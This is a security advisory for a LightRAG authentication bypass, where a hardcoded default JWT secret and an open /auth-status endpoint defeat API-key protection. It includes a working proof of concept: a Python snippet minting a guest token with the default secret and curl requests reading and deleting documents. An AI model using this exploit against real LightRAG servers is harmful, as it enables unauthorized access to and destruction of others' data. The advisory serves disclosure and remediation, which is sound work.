CVE-2026-61740: LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret: ``python DEFAULT_TOKEN_SECRET="lightr...key!" ``
2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237: ``python if not auth_configured and token_info.get("role") == "guest": return ``

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate `/auth-status` and `/login` when `LIGHTRAG_API_KEY` is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in `combined_dependency`. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.